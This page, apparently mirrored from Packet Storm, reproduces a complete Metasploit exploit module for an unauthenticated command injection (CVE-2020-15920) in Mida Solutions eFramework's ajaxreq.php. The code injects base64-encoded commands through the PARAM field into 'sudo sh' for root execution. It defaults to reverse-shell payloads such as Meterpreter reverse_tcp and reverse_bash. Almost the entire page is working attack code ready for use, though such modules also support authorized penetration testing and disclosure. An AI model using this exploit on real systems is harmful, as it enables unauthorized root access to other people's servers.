Mida Solutions eFramework ajaxreq.php Command Injection ≈ Packet Storm – Digitalmunition




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Published on September 17th, 2020 📆 | 8263 Views ⚑

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Mida Solutions eFramework ajaxreq.php Command Injection ≈ Packet Storm

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Mida Solutions eFramework ajaxreq.php Command Injection’,
‘Description’ => %q{
This module exploits a command injection vulnerability in Mida
Solutions eFramework version 2.9.0 and prior.

The `ajaxreq.php` file allows unauthenticated users to inject
arbitrary commands in the `PARAM` parameter to be executed as
the apache user. The sudo configuration permits the apache user
to execute any command as root without providing a password,
resulting in privileged command execution as root.

This module has been successfully tested on Mida Solutions
eFramework-C7-2.9.0 virtual appliance.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘elbae’, # discovery and exploit
‘bcoles’, # Metasploit
],
‘References’ =>
[
[‘CVE’, ‘2020-15920’],
[‘EDB’, ‘48768’],
[‘URL’, ‘https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html’],
],
‘Payload’ => { ‘BadChars’ => “x00” },
‘Targets’ =>
[
[
‘Linux (x86)’, {
‘Arch’ => ARCH_X86,
‘Platform’ => ‘linux’,
‘DefaultOptions’ => {
‘PAYLOAD’ => ‘linux/x86/meterpreter/reverse_tcp’
}
}
],
[
‘Linux (x64)’, {
‘Arch’ => ARCH_X64,
‘Platform’ => ‘linux’,
‘DefaultOptions’ => {
‘PAYLOAD’ => ‘linux/x64/meterpreter/reverse_tcp’
}
}
],
[
‘UNIX (cmd)’, {
‘Arch’ => ARCH_CMD,
‘Platform’ => ‘unix’,
‘DefaultOptions’ => {
‘PAYLOAD’ => ‘cmd/unix/reverse_bash’
}
}
]
],
‘Privileged’ => true,
‘DisclosureDate’ => ‘2020-07-24’,
‘DefaultOptions’ => {
‘RPORT’ => 443,
‘SSL’ => true
},
‘DefaultTarget’ => 1,
‘Notes’ =>
{
‘Stability’ => [ CRASH_SAFE ],
‘SideEffects’ => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
‘Reliability’ => [ REPEATABLE_SESSION ]
}
)
)
register_options([
OptString.new(‘TARGETURI’, [true, ‘Base path to eFramework’, ‘/’])
])
end

def check
res = execute_command(‘id’)

unless res
return CheckCode::Safe(‘Connection failed’)
end

unless res.body.include?(‘uid=’)
return CheckCode::Safe(‘Target is not vulnerable’)
end

CheckCode::Vulnerable
end

def execute_command(cmd, _opts = {})
vars_post = {
‘DIAGNOSIS’ => [‘PING’, ‘TRACEROUTE’].sample,
‘PARAM’ => “;echo #{Rex::Text.encode_base64(cmd)}|base64 -d|sudo sh”
}

res = send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, ‘PDC’, ‘ajaxreq.php’),
‘vars_post’ => vars_post
}, 5)

if res && !res.body.blank?
vprint_status(“Command output: #{res.body.gsub(/
/, “n”)}”)
end

res
end

def exploit
if target.arch.first == ARCH_CMD
execute_command(payload.encoded)
else
execute_cmdstager(linemax: 1_500, background: true)
end
end
end

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